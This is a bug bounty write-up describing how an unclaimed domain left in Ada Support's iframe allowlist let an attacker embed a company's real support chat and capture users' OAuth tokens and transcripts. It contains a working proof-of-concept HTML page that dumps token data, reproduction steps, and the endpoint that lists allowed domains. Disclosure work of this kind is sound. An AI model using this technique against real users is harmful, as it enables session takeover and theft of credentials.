Abuse of misconfigured Ada support widget iFrame Allowlist leads to oAuth Token leakage

This blog details a flaw in Ada Support’s iframe allowlist where an unclaimed domain was still trusted. Attackers could register it, embed the real support chat, steal OAuth tokens and transcripts, and fully compromise sessions. It stresses monitoring allowlist domains to prevent such risks.

Introduction

During a recent bug bounty session of testing a support chat system, I discovered a misconfiguration in the Ada Support iframe allowlist. This issue could be exploited to steal OAuth tokens and sensitive user data.

Ada Support allows companies to embed its AI-powered chat widget on their websites via embed2.js. To prevent abuse, Ada Support uses an iframe allowlist that defines which domains can embed a particular company’s support chat.

Unfortunately, one of the domains in this allowlist was left unclaimed, making it possible for an attacker to register the domain and host a malicious proof-of-concept (PoC).

Vulnerability Overview

The chat widget in question was tied to an e-commerce platform’s customer support system. By registering the unclaimed domain randomdomainname123.com, it became possible to:

  1. Embed the official Ada Support widget on the attacker-controlled domain.
  2. Trick users into interacting with the real customer support chat.
  3. Capture OAuth access tokens, refresh tokens, and chat transcripts once the user authenticated via the legitimate login flow.

Since the chat system integrates directly with the company’s oauth login system, this allowed full takeover of a victim’s authenticated session.

Proof of Concept

A PoC was hosted on the claimed domain:

http://randomdomainname123.com/poc.html:

<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>Ada PoC</title>
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <style>body{font-family:system-ui,Arial,sans-serif;margin:2rem}</style>
  </head>
  <body>
    <h1>Ada PoC on claimed domain</h1>
    <p>This page loads the target’s Ada web chat.</p>

    <!-- Ada Embed2 loader (use the exact snippet from Installation tab) -->
    <script id="ada-config" data-nscript="afterInteractive"></script>
    <script src="//static.ada.support/embed2.js" async="true" id="__ada" data-handle="[company-name]" data-nscript="afterInteractive"></script>
    <script>
        window.adaSettings = window.adaSettings || {};
        window.adaSettings.adaReadyCallback = () => {
                window.adaEmbed.subscribeEvent("ada:end_conversation", (data, context) => {
                        console.log("The conversation has been ended by the user.");
                        console.log("Chatter ID: ", data.chatter_id);
                        console.log("Chat Data: ", data.event_data);
                        console.log("Chat Transcript: ", data.event_data.chatter_transcript);
                        document.body.innerText = JSON.stringify(data.event_data, null, 2);
                });
        };
    </script>
  </body>
</html>

As you can see, when the ada support chat is closed, the chat data (data.event_data) is dumped to the console. This event data contains the oauth authentication bearer tokens.

Steps to Reproduce:

  1. Navigate to the PoC URL.
  2. Start a support chat as a “normal” user.
  3. When prompted to log in (via the OAuth flow), complete the login process.
  4. After ending the chat, sensitive data such as access tokens, refresh tokens, and chat transcripts were logged to the console and displayed in the page’s innerHTML for easy demonstration.

This effectively bypassed intended protections by leveraging Ada’s trust in an outdated/unmonitored allowlist domain.

The dumped object with the access tokens looked something like this, where the access token and id token were authentication tokens for my target:

{
  "user_data": {
    "all_data": {
      "initialurl": "http://randomdomainname123.com/poc.html",
      "access_token": "eyJh...",
      "id_token": "eyJh...",
      "refresh_token": "0d...",
      "auth_token_type": "Bearer",
      "auth_scope": "['openid', 'profile', 'email', 'offline_access']"
    },
    "event_name": "END_CONVERSATION"
  }
}

Technical Details

Allowed Domains Leak

Ada Support provides a JSON configuration endpoint that shows the domains allowed to embed a given chat system. For this instance, the list was available at:

https://rollout.ada.support/[company-name]/client.json?ada_request_origin=embed

Searching within that configuration revealed:

"allowed_domains": [
  "company.com",
  "alloweddomain.net",
  "randomdomainname123.com",
  ...
]

Since randomdomainname123.com was not owned by the company, it could be registered and exploited.

Conclusion

By claiming an overlooked allowlist domain, attackers could steal access tokens and sensitive user data through a legitimate-appearing customer support chat.

Although exploiting this issue required several user interactions (visiting my site, engaging with the chat, and going through the login flow), I found the bug particularly interesting, as OAuth token leaks through third-party widgets isn't something I've ever come across. By reporting this bug to some bug bounty programs, I've earned a nice bit of cash.

Always monitor and verify the security of domains listed in allowlists. An expired or unclaimed entry may be all an attacker needs to compromise your users.